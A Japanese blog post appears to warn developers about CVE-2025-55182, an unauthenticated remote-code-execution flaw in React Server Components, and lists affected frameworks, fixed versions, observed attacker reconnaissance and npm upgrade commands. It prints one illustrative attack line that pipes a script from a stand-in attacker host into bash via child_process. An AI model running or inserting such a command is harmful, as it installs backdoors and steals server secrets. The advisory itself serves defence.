CVSSスコア10.0の脆弱性「CVE-2025-55182」が12月3日に発表された、とりあえずアップグレードしたので、詳細を確認したら。本当にヤバいやつだった。
2025年12月3日、ReactチームはReact Server Components(RSC)にCVSS 10.0(最高評価)の重大な脆弱性「CVE-2025-55182」が存在することを公表し、別名React2Shellとして緊急パッチを配布しました。
一度侵入されると、サーバー内の認証情報やデータ、クラウド権限まで一気に奪われるリスクがあります。
対象外かな?と思っていても非常に危険なのでとりあえずバージョンアップしてください。
npm auditをしたり、各公式ページで手順に従ってバージョンアップしてください。
Next.jsやRemixなど、RSCを利用する主要フレームワークはほぼすべて影響を受け、特にNext.js App Routerでは影響範囲が広大です。Reactチームと各ベンダーは同日中に修正バージョンを公開したものの、脆弱なバージョンは依然多くデプロイされています。
Server Actions/Functionsを公開しているだけでターゲットになり、攻撃者は正規のReactアプリを経由せずHTTPクライアント一つで攻撃可能です。ログイン情報もAPIキーも不要で、公開エンドポイントにPOSTできれば準備完了という手軽さが最大の脅威です。
攻撃側はNode.jsのAPIを直に呼び出せるため、以下のようなコマンドを実行できます。
require('child_process').exec(
'curl https://attacker.tld/payload.sh | bash'
);
この1行でバックドア設置、機密ファイル送信、さらなる横展開が可能になります。
成功したRCE攻撃では、次のような行為が観測されています。
whoamiやid、uname -aなどを実行して権限レベルやOS情報を即座に把握し、次の攻撃手順を選定する動きが確認されています。サーバー側でReactを実行し、RSCを有効化しているアプリが対象です。Next.jsはApp Routerを有効にしているだけで影響範囲に入り、RemixやAstroなどRSC採用フレームワークも危険です。
React Routerとか結構使っていませんか?
vite RSCとかも知らずに使っていませんか?
Remixも一時期は流行っていたので使っている人も多いはず
| ソフトウェア | 脆弱性のあるバージョン | 修正済みバージョン |
|---|---|---|
| React関連パッケージ (react-server-dom-webpack/parcel/turbopack) | v19.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1 / 19.1.2 / 19.2.1 以降 |
| Next.js (App Router) | v15.x, v16.x, v14.3.0-canary.77以降 | 15.0.5 / 15.1.9 / 15.2.6 / 16.0.7 など |
| その他のフレームワーク | RSCをサポートする任意のバージョン | 各ベンダーが配布している最新版 |
代表的なフレームワーク別の影響条件
| フレームワーク/ツール | 影響を受ける条件/バージョン |
|---|---|
| Next.js | App Routerを利用しているプロジェクト全般。特に v15.x、v16.x、v14.3.0-canary.77以降のcanary版はRSCが標準化されているため危険。 |
| React Router | unstableなRSC APIを取り込んでいる場合に影響。 |
| Waku | RSC実装をバンドルしているため影響を受ける。 |
| Redwood SDK (rwsdk) | RSC実装をバンドルしているため影響を受ける。 |
| Expo | 実験的なRSC/Server Functionsサポートを有効化したExpoアプリは脆弱。 |
| @vitejs/plugin-rsc | ViteでRSCプラグインを利用していると影響を受ける。 |
| @parcel/rsc | ParcelでRSCプラグインを利用していると影響を受ける。 |
対象外かどうかを確認するよりとりあえずバージョンアップをした方が良いが以下のようにサーバー処理を実装していない場合は大丈夫らしい。
脆弱性公開直後からスキャンが急増し、CISAは12月5日付で既知の悪用脆弱性リストに追加しました。日本国内でもIPAや各クラウドベンダーが注意喚起しており、以下の挙動が観測されています。
whoamiやidで権限調査、uname -aでOSチェック。/etc/passwdやクラウドIMDSへのアクセスを通じ、APIキーやメタデータトークンを入手。設定で完全に無効化する方法はないため、アップグレードが唯一の恒久対策です。
React本体だけでなく、以下のパッケージを必ず修正済みバージョンへ引き上げてください。
# ReactおよびReact-DOMを更新
npm install react@latest react-dom@19.2.1
# RSC関連パッケージをピン留め
npm install \
react-server-dom-webpack@19.2.1 \
react-server-dom-parcel@19.2.1 \
react-server-dom-turbopack@19.2.1
# Next.jsを利用している場合
npm install next@16.0.7
バージョンアップできない場合の応急処置等もあるが...
wget/curlの不審な実行履歴、暗号マイナーやバックドアの残骸をログとファイルシステムから確認。RSCを有効にしたサーバーは、認証なしで任意コード実行を許してしまう状態にありました。Server Actionsを公開している限り、脆弱なまま放置しておくと気づかない内にサーバー情報、シークレットキーが全部抜かれ、マルウェアを仕込まれる可能性があるようなので、一旦React/Next.jsと関連パッケージを今すぐアップデートすることを推奨します。